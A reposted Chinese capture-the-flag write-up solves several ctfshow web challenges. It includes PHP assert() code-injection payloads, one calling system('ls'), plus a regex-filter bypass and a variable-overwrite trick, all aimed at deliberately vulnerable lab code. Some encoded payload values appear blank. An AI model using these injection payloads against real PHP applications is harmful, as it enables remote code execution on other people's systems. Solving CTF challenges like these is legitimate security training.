• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

2022CTFSHOW菜狗杯部分题目四

武飞扬头像
复苏之枫
帮助1

(WEB)TapTapTap-ctfshow 【JS代码】

这道题跟WEB其实没啥关系。

学新通

网页游戏类的题目直接查看其源代码。

学新通

在JS文件中找到一串BASE64编码的字符串。

结合前面的语句,当游戏关数达到20关以上时,会显示一个提示,内容就是这个。

base解码出来:

学新通

直接访问这个/secret_path_you_do_not_know/secretfile.txt

学新通

(WEB)一言既出-ctfshow 【assert】

题目:

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 

Assert函数可以执行里面的代码,这里可以提前闭合并注释后面的即可绕过。

pyload:

?num=114514);#

学新通

2种其它写法(官方WP):

?num=114514);(19199810
?num=114514)==1 or system('ls');#

(WEB)驷马难追-ctfshow 【assert】

题目:

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
              echo $flag;
     } 
} 

function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);

和前一题相比增加了过滤,无法使用闭合了:

学新通

解法:使用加法运算。

payload

?num=114514 1805296	//加号要使用url编码,即:
	?num=114514+1805296

学新通

(WEB)化零为整-ctfshow 【RCE】

题目:

<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i  ){
    if (strlen($_GET[$i])>1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}
学新通

中文的url编码长度为3,比如

大的URL编码是:

牛的URL编码是:

而第九行代码限制我们一次传值的长度只能为1,于是payload:

?1=&2=&3=&4=&5=&6=

学新通

(WEB)遍地飘零-ctfshow 【变量覆盖】

题目:

<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}
学新通

把flag赋值给_GET就可以了:

?_GET=flag

学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgffgbi
系列文章
更多 icon
同类精品
更多 icon
继续加载